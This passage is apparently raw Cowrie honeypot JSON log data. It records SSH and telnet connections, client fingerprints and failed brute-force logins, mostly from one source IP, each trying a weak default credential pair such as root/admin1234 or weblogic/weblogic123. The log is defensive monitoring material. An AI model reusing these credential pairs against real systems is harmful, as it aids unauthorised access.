ssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:45.573158Z","src_ip":"176.65.132.129","session":"49da39ffcda1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:45.823413Z","src_ip":"176.65.132.129","session":"49da39ffcda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00196766853333,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:46.983478Z","src_ip":"38.60.198.128","session":"6f66a0ed0182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:47.053377Z","src_ip":"176.65.132.129","session":"49da39ffcda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41168,"dst_ip":"10.17.0.5","dst_port":23,"session":"dffcc2ed806a","protocol":"telnet","message":"New connection: 38.54.119.93:41168 (10.17.0.5:23) [session: dffcc2ed806a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:48.501798Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47852,"dst_ip":"10.17.0.5","dst_port":22,"session":"4320e21700b0","protocol":"ssh","message":"New connection: 176.65.132.129:47852 (10.17.0.5:22) [session: 4320e21700b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:48.825182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:48.829563Z","src_ip":"176.65.132.129","session":"4320e21700b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:48.911573Z","src_ip":"176.65.132.129","session":"4320e21700b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:49.159358Z","src_ip":"176.65.132.129","session":"4320e21700b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:50.245198Z","src_ip":"176.65.132.129","session":"4320e21700b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47864,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ccd106f6726","protocol":"ssh","message":"New connection: 176.65.132.129:47864 (10.17.0.5:22) [session: 4ccd106f6726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:52.416498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:52.422777Z","src_ip":"176.65.132.129","session":"4ccd106f6726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:52.504933Z","src_ip":"176.65.132.129","session":"4ccd106f6726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:52.748648Z","src_ip":"176.65.132.129","session":"4ccd106f6726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:53.833500Z","src_ip":"176.65.132.129","session":"4ccd106f6726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.42338585853577,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:54.210204Z","src_ip":"64.227.82.147","session":"2788d7cf9b9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35386,"dst_ip":"10.17.0.5","dst_port":22,"session":"607695b7ffab","protocol":"ssh","message":"New connection: 176.65.132.129:35386 (10.17.0.5:22) [session: 607695b7ffab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:55.773486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:55.778450Z","src_ip":"176.65.132.129","session":"607695b7ffab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:55.860378Z","src_ip":"176.65.132.129","session":"607695b7ffab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:56.107315Z","src_ip":"176.65.132.129","session":"607695b7ffab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.929566383361816,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:56.664545Z","src_ip":"38.60.198.128","session":"c9624ecef1b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:57.191593Z","src_ip":"176.65.132.129","session":"607695b7ffab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35402,"dst_ip":"10.17.0.5","dst_port":22,"session":"946083ac17e3","protocol":"ssh","message":"New connection: 176.65.132.129:35402 (10.17.0.5:22) [session: 946083ac17e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:59.247295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:59.252327Z","src_ip":"176.65.132.129","session":"946083ac17e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:59.334246Z","src_ip":"176.65.132.129","session":"946083ac17e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:59.579544Z","src_ip":"176.65.132.129","session":"946083ac17e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:00.663995Z","src_ip":"176.65.132.129","session":"946083ac17e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.36666917800903,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:02.522990Z","src_ip":"38.60.198.128","session":"e92f836fef4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.94955134391785,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:02.685690Z","src_ip":"38.60.198.128","session":"af56441be158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35414,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f60a6b386c1","protocol":"ssh","message":"New connection: 176.65.132.129:35414 (10.17.0.5:22) [session: 5f60a6b386c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:02.692736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:02.712497Z","src_ip":"176.65.132.129","session":"5f60a6b386c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:02.797150Z","src_ip":"176.65.132.129","session":"5f60a6b386c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:03.056023Z","src_ip":"176.65.132.129","session":"5f60a6b386c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:04.154507Z","src_ip":"176.65.132.129","session":"5f60a6b386c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.7180917263031,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:05.143665Z","src_ip":"38.60.198.128","session":"16b1f98a4bac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60146,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc065ed8cbd","protocol":"ssh","message":"New connection: 176.65.132.129:60146 (10.17.0.5:22) [session: afc065ed8cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:06.373782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:06.381255Z","src_ip":"176.65.132.129","session":"afc065ed8cbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:06.465419Z","src_ip":"176.65.132.129","session":"afc065ed8cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:06.714333Z","src_ip":"176.65.132.129","session":"afc065ed8cbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:07.801985Z","src_ip":"176.65.132.129","session":"afc065ed8cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51486,"dst_ip":"159.203.135.109","dst_port":23,"session":"e310250a9e32","protocol":"telnet","message":"New connection: 38.60.198.128:51486 (159.203.135.109:23) [session: e310250a9e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:07.980577Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57414,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c22e78a3050","protocol":"telnet","message":"New connection: 38.60.198.128:57414 (159.203.135.109:23) [session: 9c22e78a3050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:08.713218Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60154,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee35d244f37f","protocol":"ssh","message":"New connection: 176.65.132.129:60154 (10.17.0.5:22) [session: ee35d244f37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:09.835055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:09.841333Z","src_ip":"176.65.132.129","session":"ee35d244f37f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:09.924698Z","src_ip":"176.65.132.129","session":"ee35d244f37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:10.177273Z","src_ip":"176.65.132.129","session":"ee35d244f37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:11.262055Z","src_ip":"176.65.132.129","session":"ee35d244f37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.87728977203369,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:11.695799Z","src_ip":"38.60.198.128","session":"3986922c8e5c","protocol":"telnet"}
